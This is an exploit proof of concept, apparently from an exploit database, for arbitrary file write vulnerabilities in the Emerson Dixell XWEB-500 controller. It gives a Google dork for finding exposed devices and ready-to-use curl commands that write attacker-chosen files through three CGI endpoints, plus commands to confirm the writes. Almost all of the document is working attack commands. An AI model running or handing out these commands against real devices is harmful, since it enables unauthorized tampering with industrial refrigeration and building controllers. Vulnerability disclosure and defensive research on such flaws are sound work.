# Exploit Title: Dixell XWEB-500 - Arbitrary File Write
# Google Dork: inurl:"xweb500.cgi"
# Date: 03/01/2022
# Exploit Author: Roberto Palamaro
# Vendor Homepage: https://climate.emerson.com/it-it/shop/1/dixell-electronics-sku-xweb500-evo-it-it
# Version: XWEB-500
# Tested on: Dixell XWEB-500
# References: https://www.swascan.com/vulnerability-report-emerson-dixell-xweb-500-multiple-vulnerabilities/

# Emerson Dixell XWEB-500 is affected by multiple Arbitrary File Write Vulnerability

# Endpoint: logo_extra_upload.cgi
# Here the first line of the POC is the filename and the second one is the content of the file be written
# Write file
echo -e "file.extension\ncontent" | curl -A Chrome -kis "http://[target]:[port]/cgi-bin/logo_extra_upload.cgi" -X POST --data-binary @- -H 'Content-Type: application/octet-stream'
# Verify
curl -A Chrome -is "http://[target]:[port]/logo/"

# Endpoint: lo_utils.cgi
# Here ACTION=5 is to enable write mode
echo -e "ACTION=5\nfile.extension\ncontent" | curl -A Chrome -kis "http://[target]:[port]/cgi-bin/lo_utils.cgi" -X POST --data-binary @- -H 'Content-Type: application/octet-stream' 
# Verify using ACTION=3 to listing resources
echo -e "ACTION=3" | curl -A Chrome -kis "http://[target]:[port]/cgi-bin/lo_utils.cgi" -X POST --data-binary @- -H 'Content-Type: application/octet-stream'

# Endpoint: cal_save.cgi
# Here the first line of the POC is the filename and the second one is the content of the file be written
echo -e "file.extension\ncontent" | curl -A Chrome -kis "http://[target]:[port]/cgi-bin/cal_save.cgi" -X POST --data-binary @- -H 'Content-Type: application/octet-stream'
# Verify
curl -A Chrome -kis http://[target]:[port]/cgi-bin/cal_dir.cgi